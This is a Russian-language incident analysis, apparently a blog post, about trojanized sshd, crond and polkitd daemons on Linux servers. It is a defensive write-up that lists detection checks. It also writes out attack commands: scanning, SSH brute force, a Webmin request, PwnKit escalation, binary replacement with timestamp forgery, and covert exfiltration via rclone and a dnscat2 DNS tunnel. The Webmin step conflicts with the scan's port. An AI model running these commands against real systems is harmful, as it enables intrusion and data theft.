Сюжет из практики, о котором пойдёт речь — не редкость. Он совпадает по почерку с недавно описанной в отраслевых отчётах кампанией: злоумышленники подменяют критичные системные демоны Linux — crond, sshd, polkitd — на троянизированные копии. Внешне это те же процессы, с теми же именами, тем же PID-поведением, тем же местом в дереве процессов. Antivirus и штатный мониторинг подрядчика проверяют «есть ли процесс с таким именем и не грузит ли он CPU» — и оба чек-листа проходят зелёным.
Разберём техническую механику: как злоумышленник вообще попадает на такой сервер, почему подмена системных бинарников остаётся невидимой месяцами, и что нужно сделать, чтобы это не повторилось.
Как это эксплуатируется
1. Разведка периметра
Первый шаг атакующего — понять, что вообще торчит наружу. Обычное сканирование:
nmap -sV -p- --min-rate 5000 203.0.113.10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http nginx 1.14.0
3306/tcp open mysql MySQL 5.7.26-log
8080/tcp open http Zabbix Agent / Webmin admin panel
Здесь уже видны два интересных момента: устаревший OpenSSH 7.4 (2016 год, до патчей на username enumeration CVE-2018-15473) и открытая административная панель на 8080 — частый источник компрометации малого и среднего бизнеса, где такие панели ставили «для удобства» и забыли закрыть внешний доступ.
2. Первичный доступ
Дальше — либо брутфорс по SSH на слабых или переиспользуемых паролях, либо эксплуатация известной уязвимости в веб-панели администрирования.
hydra -l admin -P rockyou.txt ssh://203.0.113.10 -t 4
[22][ssh] host: 203.0.113.10 login: admin password: Production2023!
Либо, если панель — Webmin версии до 1.920 (уязвимая к CVE-2019-15107), достаточно одного запроса без авторизации:
curl -k "https://203.0.113.10:10000/password_change.cgi" \
-d "user=root&pam=&expired=2&old=&new1=root123&new2=root123"
3. Локальная эскалация привилегий
Получив shell от обычного пользователя, атакующий поднимается до root. Учитывая, что в этой истории трояном оказался именно polkitd, логично предположить именно эту цепочку: уязвимость PwnKit (CVE-2021-4034) в pkexec, которая позволяет получить root одной командой без пароля на непропатченных системах:
gcc -shared -o pwnkit.so pwnkit.c
./pwnkit_exploit
# uid=0(root) gid=0(root) groups=0(root)
Такие связки типичны для непропатченных серверов, которые «работают без нареканий» — то есть их годами не обновляют, потому что «зачем трогать то, что работает».
4. Закрепление: подмена системных демонов
Дальше начинается самое неприятное. Вместо установки отдельного «вируса», который легко ловится по сигнатуре, атакующий переписывает уже существующие, доверенные бинарники:
cp /usr/sbin/sshd /usr/sbin/sshd.orig
cp trojan_sshd /usr/sbin/sshd
chmod 755 /usr/sbin/sshd
touch -r /usr/sbin/sshd.orig /usr/sbin/sshd # подделка времени изменения
cp /usr/sbin/crond /usr/sbin/crond.orig
cp trojan_crond /usr/sbin/crond
cp /usr/lib/polkit-1/polkitd /usr/lib/polkit-1/polkitd.orig
cp trojan_polkitd /usr/lib/polkit-1/polkitd
Троян-sshd открывает скрытый бэкдор-доступ по мастер-паролю или ключу поверх штатной аутентификации. Троян-crond используется как персистентность и точка запуска модулей эксфильтрации по расписанию — маскируясь под обычные системные задачи (планировщик всё равно должен что-то запускать, лишний cron-job внутри «системного» бинарника никто не проверяет). Троян-polkitd перехватывает и логирует всё, что вводит администратор при повышении привилегий — по сути, полноценный keylogger уровня системных вызовов.
5. Эксфильтрация
Данные уходят не разово, а маленькими порциями, чтобы не спровоцировать всплеск трафика:
# скрытая выгрузка через легитимный инструмент синхронизации
rclone copy /data/commercial_offers remote:backup --transfers=1 --bwlimit=200k
# альтернатива — DNS-туннель, если egress-фильтрация блокирует HTTP/HTTPS
dnscat2-client --dns server=8.8.8.8 --secret=xxxx
Именно поэтому в логах фаервола ничего аномального не видно: трафик мелкий, идёт по HTTPS или DNS, выглядит как фоновая синхронизация или служебные DNS-запросы.
Полутехнические пруфы: что искать в такой ситуации
- Несовпадение контрольной суммы бинарника с эталонным пакетом — главный и самый надёжный индикатор:
sha256sum /usr/sbin/sshd debsums -c openssh-server # или для RPM-based rpm -Va | grep '^..5' - Расхождение времени изменения файла и записи в пакетном менеджере:
stat /usr/sbin/crond dpkg -L cron | xargs -I{} stat -c '%Y {}' {} - Скрытые сетевые соединения, не соответствующие штатному поведению демона:
ss -tnp | grep sshd lsof -i -P -n | grep polkitd - Проверка руткитными сканерами (не заменяет сверку контрольных сумм, но полезна как второй слой):
rkhunter --check --sk chkrootkit - Аномальные записи в auditd по execve от процессов, которые в норме не должны исполнять ничего постороннего.
Что и почему сработало бы дальше
Если бы аудит не остановил цепочку на этом этапе, у атакующего было ещё несколько логичных шагов эскалации:
- Дамп базы CRM и файлового хранилища целиком —
mysqldumpпо расписанию через тот же поддельный crond, с последующей выгрузкой архивов наружу. - Сбор учётных данных для латерального перемещения — перехваченные polkitd-трояном пароли администратора почти наверняка совпадают с доступом к банк-клиенту, почте, VPN в головной офис или к другим серверам компании.
- Продажа доступа — на теневых площадках компрометированный корпоративный сервер с рабочим бэкдором продаётся отдельно от украденных данных, то есть даже после «закрытия» инцидента доступ мог быть перепродан третьим лицам.
- Долгосрочный шпионаж вместо разового слива — раз данные утекали по расписанию четыре месяца, ничего не мешало продолжать это годами, если бы не
